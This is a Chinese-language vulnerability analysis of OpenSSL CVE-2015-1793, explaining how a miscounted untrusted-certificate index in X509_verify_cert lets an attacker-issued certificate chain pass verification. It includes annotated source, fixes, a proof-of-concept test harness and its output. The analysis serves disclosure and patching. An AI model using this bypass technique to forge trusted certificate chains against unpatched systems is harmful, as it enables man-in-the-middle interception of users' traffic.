0x00 前言

---

OpenSSL官方在7月9日釋出了編號為 CVE-2015-1793 的交叉證書驗證繞過漏洞，其中主要影響了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影響。

360安全研究員au2o3t對該漏洞進行了原理上的分析，確認是一個繞過交叉鏈型別證書驗證的高危漏洞，可以讓攻擊者構造證書來繞過交叉驗證，用來形成諸如“中間人”等形式的攻擊。

0x01 漏洞基本原理

---

直接看最簡單的利用方法（利用方法包括但不限於此）：

攻擊者從一公共可信的 CA （C）處簽得一證書 X，並以此證書籤發另一證書 V（含對X的交叉引用），那麼攻擊者發出的證書鏈 V, R （R為任意證書）對信任 C 的使用者將是可信的。

顯然使用者對 V, R 鏈的驗證會返回失敗。

對不支援交叉鏈認證的老版本來說，驗證過程將以失敗結束。

對支援交叉認證的版本，則將會嘗試構建交叉鏈 V, X, C，並繼續進行驗證。

雖然 V, X, C 鏈能透過可信認證，但會因 X 的用法不包括 CA 而導致驗證失敗。

但在 openssl-1.0.2c 版本，因在對交叉鏈的處理中，對最後一個不可信證書位置計數的錯誤，導致本應對 V, X 記為不可信並驗證，錯記為了僅對 V 做驗證，而沒有驗證攻擊者的證書 X，返回驗證成功。

0x02 具體漏洞分析

---

漏洞程式碼位於檔案：openssl-1.0.2c/crypto/x509/x509_vfy.c

函式：X509_verify_cert() 中

第 392 行：ctx->last_untrusted–;

對問題函式 X509_verify_cert 的簡單分析：

（ 為方便閱讀，僅保留與證書驗證強相關的程式碼，去掉了諸如變數定義、錯誤處理、資源釋放等非主要程式碼）

問題在於由 <1> 處加入頒發者時及 <2> 處驗證（頒發者）後，證書鏈計數增加，但 最後一個不可信證書位置計數 並未增加， 而在 <4> 處去除過程中 最後一個不可信證書位置計數 額外減少了，導致後面驗證過程中少驗。

（上述 V, X, C 鏈中應驗 V, X 但少驗了 X）

程式碼分析如下

#!c++
int X509_verify_cert(X509_STORE_CTX *ctx)
{
    // 將 ctx->cert 做為不信任證書壓入需驗證鏈  ctx->chain
    // STACK_OF(X509) *chain 將被構造為證書鏈，並最終送到 internal_verify() 中去驗證
    sk_X509_push(ctx->chain,ctx->cert); 
    // 當前鏈長度（==1）
    num = sk_X509_num(ctx->chain);
     // 取出第 num 個證書
    x = sk_X509_value(ctx->chain, num - 1);
     // 存在不信任鏈則複製之
    if (ctx->untrusted != NULL
        && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
         goto end;
    }
     // 預設定的最大鏈深度（100）
    depth = param->depth;
    // 構造需驗證證書鏈
    for (;;) {
        // 超長退出
        if (depth < num)
            break;
        // 遇自簽退出（鏈頂）
        if (cert_self_signed(x))
            break;
         if (ctx->untrusted != NULL) {
            xtmp = find_issuer(ctx, sktmp, x);
            // 當前證書為不信任頒發者（應需CA標誌）頒發
            if (xtmp != NULL) {
                // 則加入需驗證鏈
                if (!sk_X509_push(ctx->chain, xtmp)) {
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    goto end;
                }
                CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                (void)sk_X509_delete_ptr(sktmp, xtmp);
                // 最後一個不可信證書位置計數 自增1
                ctx->last_untrusted++;
                x = xtmp;
                num++;
                continue;
            }
        }
        break;
    }
    do {
        i = sk_X509_num(ctx->chain);
        x = sk_X509_value(ctx->chain, i - 1);
        // 若最頂證書是自籤的
        if (cert_self_signed(x)) {
            // 若需驗證鏈長度 == 1
            if (sk_X509_num(ctx->chain) == 1) {
                // 在可信鏈中查詢其頒發者（找自己）
                ok = ctx->get_issuer(&xtmp, ctx, x);

               // 沒找到或不是相同證書
                if ((ok <= 0) || X509_cmp(x, xtmp)) {
                    ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                    ctx->current_cert = x;
                    ctx->error_depth = i - 1;
                    if (ok == 1)
                        X509_free(xtmp);
                    bad_chain = 1;
                    ok = cb(0, ctx);
                    if (!ok)
                        goto end;
                // 找到
                } else {
                    X509_free(x);
                    x = xtmp;
                    // 入到可信鏈
                    (void)sk_X509_set(ctx->chain, i - 1, x);
                    // 最後一個不可信證書位置計數 置0
                    ctx->last_untrusted = 0;
                }
            // 最頂為自簽證書 且 證書鏈長度>1
            } else {
                // 彈出
                chain_ss = sk_X509_pop(ctx->chain);
                // 最後一個不可信證書位置計數 自減
                ctx->last_untrusted--;
                num--;
                j--;
                // 保持指向當前最頂證書
                x = sk_X509_value(ctx->chain, num - 1);
            }
        }
        // <1>
        // 繼續構造證書鏈（加入頒發者）
        for (;;) {
            // 自簽退出
            if (cert_self_signed(x))
                break;
            // 在可信鏈中查詢其頒發者
            ok = ctx->get_issuer(&xtmp, ctx, x);
            // 出錯
            if (ok < 0)
                return ok;
            // 沒找到
            if (ok == 0)
                 break;
            x = xtmp;
            // 將不可信證書的頒發者（證書）加入需驗證證書鏈
            if (!sk_X509_push(ctx->chain, x)) {
                X509_free(xtmp);
                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                return 0;
            }
            num++;
        }
        // <2>
        // 驗證 for(;;) 中加入的頒發者鏈
        i = check_trust(ctx);
        if (i == X509_TRUST_REJECTED)
            goto end;
        retry = 0;
         // <3>
        // 檢查交叉鏈
        if (i != X509_TRUST_TRUSTED
            && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
            && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
            while (j-- > 1) {
                xtmp2 = sk_X509_value(ctx->chain, j - 1);
                 // 其實得到一個“看似合理”的證書就返回，這裡實際上僅僅根據 CN域 查詢頒發者
                ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                if (ok < 0)
                    goto end;
                // 存在交叉鏈
                if (ok > 0) {
                    X509_free(xtmp);

                    // 去除交叉鏈以上部分
                    while (num > j) {
                        xtmp = sk_X509_pop(ctx->chain);
                        X509_free(xtmp);
                        num--;
                        // <4>
                        // 問題所在
                        ctx->last_untrusted--;
                    }
                    // <5>
                    retry = 1;
                    break;
                }
            }
        }
    } while (retry);
    ……
}

官方的解決方法是在 <5> 處重新計算 最後一個不可信證書位置計數 的值為鏈長：

ctx->last_untrusted = sk_X509_num(ctx->chain);

並去掉 <4> 處的 最後一個不可信證書位置計數 自減運算（其實去不去掉都無所謂）。 另一個解決辦法可以是在 <1> <2> 後，在 <3> 處重置 最後一個不可信證書位置計數，加一行：

ctx->last_untrusted = num;

這樣 <4> 處不用刪除，而邏輯也是合理並前後一致的。

0x03 漏洞驗證

---

筆者修改了部分程式碼並做了個Poc 。 修改程式碼：

#!c++
int X509_verify_cert(X509_STORE_CTX *ctx)
{
    X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
    int bad_chain = 0;
    X509_VERIFY_PARAM *param = ctx->param;
    int depth, i, ok = 0;
    int num, j, retry;
    int (*cb) (int xok, X509_STORE_CTX *xctx);
    STACK_OF(X509) *sktmp = NULL;
    if (ctx->cert == NULL) {
        X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
        return -1;
    }

    cb = ctx->verify_cb;

    /*
     * first we make sure the chain we are going to build is present and that
     * the first entry is in place
     */
    if (ctx->chain == NULL) {
        if (((ctx->chain = sk_X509_new_null()) == NULL) ||
            (!sk_X509_push(ctx->chain, ctx->cert))) {
            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
            goto end;
        }
        CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
        ctx->last_untrusted = 1;
    }

    /* We use a temporary STACK so we can chop and hack at it */
    if (ctx->untrusted != NULL
        && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
        goto end;
    }

    num = sk_X509_num(ctx->chain);
    x = sk_X509_value(ctx->chain, num - 1);
    depth = param->depth;

    for (;;) {
        /* If we have enough, we break */
        if (depth < num)
            break;              /* FIXME: If this happens, we should take
                                 * note of it and, if appropriate, use the
                                 * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                                 * later. */

        /* If we are self signed, we break */
        if (cert_self_signed(x))
            break;

        /*
         * If asked see if we can find issuer in trusted store first
         */
        if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
            ok = ctx->get_issuer(&xtmp, ctx, x);
            if (ok < 0)
                return ok;
            /*
             * If successful for now free up cert so it will be picked up
             * again later.
             */
            if (ok > 0) {
                X509_free(xtmp);
                break;
            }
        }

        /* If we were passed a cert chain, use it first */
        if (ctx->untrusted != NULL) {
            xtmp = find_issuer(ctx, sktmp, x);
            if (xtmp != NULL) {
                if (!sk_X509_push(ctx->chain, xtmp)) {
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    goto end;
                }
                CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                (void)sk_X509_delete_ptr(sktmp, xtmp);
                ctx->last_untrusted++;
                x = xtmp;
                num++;
                /*
                 * reparse the full chain for the next one
                 */
                continue;
            }
        }
        break;
    }

    /* Remember how many untrusted certs we have */
    j = num;
    /*
     * at this point, chain should contain a list of untrusted certificates.
     * We now need to add at least one trusted one, if possible, otherwise we
     * complain.
     */

    do {
        /*
         * Examine last certificate in chain and see if it is self signed.
         */
        i = sk_X509_num(ctx->chain);
        x = sk_X509_value(ctx->chain, i - 1);
        if (cert_self_signed(x)) {
            /* we have a self signed certificate */
            if (sk_X509_num(ctx->chain) == 1) {
                /*
                 * We have a single self signed certificate: see if we can
                 * find it in the store. We must have an exact match to avoid
                 * possible impersonation.
                 */
                ok = ctx->get_issuer(&xtmp, ctx, x);
                if ((ok <= 0) || X509_cmp(x, xtmp)) {
                    ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                    ctx->current_cert = x;
                    ctx->error_depth = i - 1;
                    if (ok == 1)
                        X509_free(xtmp);
                    bad_chain = 1;
                    ok = cb(0, ctx);
                    if (!ok)
                        goto end;
                } else {
                    /*
                     * We have a match: replace certificate with store
                     * version so we get any trust settings.
                     */
                    X509_free(x);
                    x = xtmp;
                    (void)sk_X509_set(ctx->chain, i - 1, x);
                    ctx->last_untrusted = 0;
                }
            } else {
                /*
                 * extract and save self signed certificate for later use
                 */
                chain_ss = sk_X509_pop(ctx->chain);
                ctx->last_untrusted--;
                num--;
                j--;
                x = sk_X509_value(ctx->chain, num - 1);
            }
        }
        /* We now lookup certs from the certificate store */
        for (;;) {
            /* If we have enough, we break */
            if (depth < num)
                break;
            /* If we are self signed, we break */
            if (cert_self_signed(x))
                break;
            ok = ctx->get_issuer(&xtmp, ctx, x);

            if (ok < 0)
                return ok;
            if (ok == 0)
                break;
            x = xtmp;
            if (!sk_X509_push(ctx->chain, x)) {
                X509_free(xtmp);
                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                return 0;
            }
            num++;
        }

        /* we now have our chain, lets check it... */
        i = check_trust(ctx);

        /* If explicitly rejected error */
        if (i == X509_TRUST_REJECTED)
            goto end;

        /*
         * If it's not explicitly trusted then check if there is an alternative
         * chain that could be used. We only do this if we haven't already
         * checked via TRUSTED_FIRST and the user hasn't switched off alternate
         * chain checking
         */
        retry = 0;
// <1>
//ctx->last_untrusted = num;            


        if (i != X509_TRUST_TRUSTED
            && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
            && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
            while (j-- > 1) {
                xtmp2 = sk_X509_value(ctx->chain, j - 1);
                ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                if (ok < 0)
                    goto end;
                /* Check if we found an alternate chain */
                if (ok > 0) {
                    /*
                     * Free up the found cert we'll add it again later
                     */
                    X509_free(xtmp);

                    /*
                     * Dump all the certs above this point - we've found an
                     * alternate chain
                     */
                    while (num > j) {
                        xtmp = sk_X509_pop(ctx->chain);
                        X509_free(xtmp);
                        num--;
                        ctx->last_untrusted--;
                    }
                    retry = 1;
                    break;
                }
            }
        }
    } while (retry);

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
    /*
     * If not explicitly trusted then indicate error unless it's a single
     * self signed certificate in which case we've indicated an error already
     * and set bad_chain == 1
     */


    if (i != X509_TRUST_TRUSTED && !bad_chain) {
        if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
            if (ctx->last_untrusted >= num)
                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
            else
                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
            ctx->current_cert = x;
        } else {
            sk_X509_push(ctx->chain, chain_ss);
            num++;
            ctx->last_untrusted = num;
            ctx->current_cert = chain_ss;
            ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
            chain_ss = NULL;
        }

        ctx->error_depth = num - 1;
        bad_chain = 1;
        ok = cb(0, ctx);
        if (!ok)
            goto end;
    }
printf("flag=1\n");
    /* We have the chain complete: now we need to check its purpose */
    ok = check_chain_extensions(ctx);

    if (!ok)
        goto end;

printf("flag=2\n");
    /* Check name constraints */

    ok = check_name_constraints(ctx);

    if (!ok)
        goto end;
printf("flag=3\n");
    ok = check_id(ctx);

    if (!ok)
        goto end;
printf("flag=4\n");
    /* We may as well copy down any DSA parameters that are required */
    X509_get_pubkey_parameters(NULL, ctx->chain);

    /*
     * Check revocation status: we do this after copying parameters because
     * they may be needed for CRL signature verification.
     */

    ok = ctx->check_revocation(ctx);
    if (!ok)
        goto end;
printf("flag=5\n");
    i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
                                ctx->param->flags);
    if (i != X509_V_OK) {
        ctx->error = i;
        ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
        ok = cb(0, ctx);
        if (!ok)
            goto end;
    }
printf("flag=6\n");
    /* At this point, we have a chain and need to verify it */
    if (ctx->verify != NULL)
        ok = ctx->verify(ctx);
    else
        ok = internal_verify(ctx);
    if (!ok)
        goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
    /* RFC 3779 path validation, now that CRL check has been done */
    ok = v3_asid_validate_path(ctx);
    if (!ok)
        goto end;
    ok = v3_addr_validate_path(ctx);
    if (!ok)
        goto end;
#endif

printf("flag=8\n");
    /* If we get this far evaluate policies */
    if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
        ok = ctx->check_policy(ctx);
    if (!ok)
        goto end;
    if (0) {
 end:
        X509_get_pubkey_parameters(NULL, ctx->chain);
    }
    if (sktmp != NULL)
        sk_X509_free(sktmp);
    if (chain_ss != NULL)
        X509_free(chain_ss);
printf("ok=%d\n", ok );        
    return ok;
}

Poc:
?
//
//裡頭的證書檔案自己去找一個，這個不提供了
//
#include <stdio.h>
#include <openssl/crypto.h>
#include <openssl/bio.h>
#include <openssl/x509.h>
#include <openssl/pem.h>


STACK_OF(X509) *load_certs_from_file(const char *file)
{
    STACK_OF(X509) *certs;
    BIO *bio;
    X509 *x;
    bio = BIO_new_file( file, "r");
    certs = sk_X509_new_null();
    do
    {
        x = PEM_read_bio_X509(bio, NULL, 0, NULL);
        sk_X509_push(certs, x);
    }while( x != NULL );

    return certs;
}


void test(void)
{
    X509 *x = NULL;
    STACK_OF(X509) *untrusted = NULL;
    BIO *bio = NULL;
    X509_STORE_CTX *sctx = NULL;
    X509_STORE *store = NULL;
    X509_LOOKUP *lookup = NULL;

    store = X509_STORE_new();
    lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
    X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
    untrusted = load_certs_from_file("untrusted.pem");
    bio = BIO_new_file("bad.pem", "r");
    x = PEM_read_bio_X509(bio, NULL, 0, NULL);
    sctx = X509_STORE_CTX_new();
    X509_STORE_CTX_init(sctx, store, x, untrusted);
    X509_verify_cert(sctx);
}

int main(void)
{
    test();
    return 0;
}

將程式碼中 X509_verify_cert() 函式加入輸出資訊如下： 編譯，以偽造證書測試，程式輸出資訊為：

num=1, real-num=3
flag=1
flag=2
flag=3
flag=4
flag=5
flag=6
flag=7
flag=8
ok=1

認證成功 將 <1> 處註釋程式碼去掉，編譯，再以偽造證書測試，程式輸出資訊為：

num=3, real-num=3
flag=1
ok=0

認證失敗

0x04 安全建議

---

建議使用受影響版本（OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o）的 產品或程式碼升級OpenSSL到最新版本